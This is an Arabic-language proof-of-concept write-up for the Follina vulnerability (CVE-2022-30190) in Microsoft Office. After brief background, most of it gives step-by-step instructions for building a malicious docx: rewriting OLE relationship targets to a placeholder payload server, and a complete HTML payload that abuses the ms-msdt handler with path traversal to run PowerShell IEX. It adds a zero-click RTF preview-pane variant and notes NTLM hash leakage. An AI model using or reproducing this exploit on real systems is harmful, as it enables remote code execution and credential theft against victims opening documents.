
استغلال إثبات المفهوم لثغرة CVE-2022-30190 (Follina)، يوضح تنفيذ التعليمات البرمجية عن بُعد عبر مستندات Microsoft Office مُصمَّمة خصيصًا باستخدام معالج URI الخاص بـ ms-msdt.
معلومة : ثغرة 0-day جديدة في Microsoft Office تُستخدم في هجمات لتنفيذ PowerShell
في 29 مايو 2022، اكتشف فريق Nao_Sec، وهو فريق مستقل لأبحاث الأمن السيبراني، مستند Office ضارًا تمت مشاركته على Virustotal. يستخدم هذا المستند مخططًا غير معتاد لكنه معروف لإصابة ضحاياه. لم يتم اكتشاف المخطط كخبيث بواسطة بعض حلول EDR، مثل Microsoft Defender for Endpoint. يمكن أن تؤدي هذه الثغرة إلى تنفيذ التعليمات البرمجية دون الحاجة إلى تفاعل المستخدم، حيث أنها لا تتضمن وحدات ماكرو، إلا إذا كان وضع العرض المحمي (Protected View) ممكّنًا. لم يُنسب رقم CVE حتى الآن.
يتم استغلال الثغرة باستخدام مخطط URI الخاص بـ MSProtocol لتحميل بعض التعليمات البرمجية. يمكن للمهاجمين تضمين روابط خبيثة داخل مستندات Microsoft Office أو القوالب أو رسائل البريد الإلكتروني تبدأ بـ ms-msdt: والتي سيتم تحميلها وتنفيذها بعد ذلك دون تفاعل المستخدم
يمكن أن تحتوي ملفات MS Office docx على مراجع كائنات OLE خارجية كملفات HTML. يوجد مخطط HTML "ms-msdt:" يستدعي أداة التشخيص msdt، وهي قادرة على تنفيذ تعليمات برمجية عشوائية (محددة في المعاملات).
النتيجة هي ناقل هجوم مرعب للحصول على RCE من خلال فتح ملفات docx خبيثة (دون استخدام وحدات ماكرو).
فيما يلي خطوات بناء مستند docx لإثبات المفهوم:
افتح Word (استُخدم الإصدار المحدّث 2019 Pro، 16.0.10386.20017)، وأنشئ مستندًا تجريبيًا، وأدرج كائن (OLE) (كصورة نقطية Bitmap Image)، واحفظه بصيغة docx.
حرّر word/_rels/document.xml.rels في بنية docx (وهي ملف zip عادي). عدّل وسم XML <Relationship> مع السمة
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
وTarget="embeddings/oleObject1.bin" عن طريق تغيير قيمة Target وإضافة السمة TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
لاحظ قيمة Id (غالبًا ما تكون "rId5").
word/document.xml. ابحث عن وسم <o:OLEObject ..> (مع r:id="rId5") وغيّر السمة من Type="Embed" إلى Type="Link" وأضف السمة UpdateMode="OnCall".ملاحظة: ملف docx الخبيث الذي تم إنشاؤه هو تقريبًا نفس الملف الخاص بـ CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
لاحظ ما يلي:
/../ في بداية معامل IT_BrowseForFileبالإضافة إلى ذلك، يمكن للحمولة المُشغِّلة الاتصال بمواقع بعيدة. وفي حين أنه من غير المرجح أن تستدعي ملفًا ثنائيًا غير موثوق، فإن الاتصال سيظل يحمل تجزئات NTLM (مما يعني أن المهاجمين أصبح لديهم الآن تجزئة لكلمة مرور Windows الخاصة بالضحية) والتي يمكن أن يستخدمها الخصم لمزيد من الاستغلال بعد الاختراق.
إذا أضفت أيضًا هذه العناصر تحت عنصر <o:OLEObject> في word/document.xml في الخطوة 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
فإنها ستعمل أيضًا كملف RTF (افتح ملف docx الناتج واحفظه بصيغة RTF).
مع RTF، لا حاجة لفتح الملف في Word، بل يكفي تصفح الملف والنظر إليه في جزء المعاينة. يقوم جزء المعاينة بتشغيل الحمولة HTML الخارجية ويحدث RCE دون أي نقرات.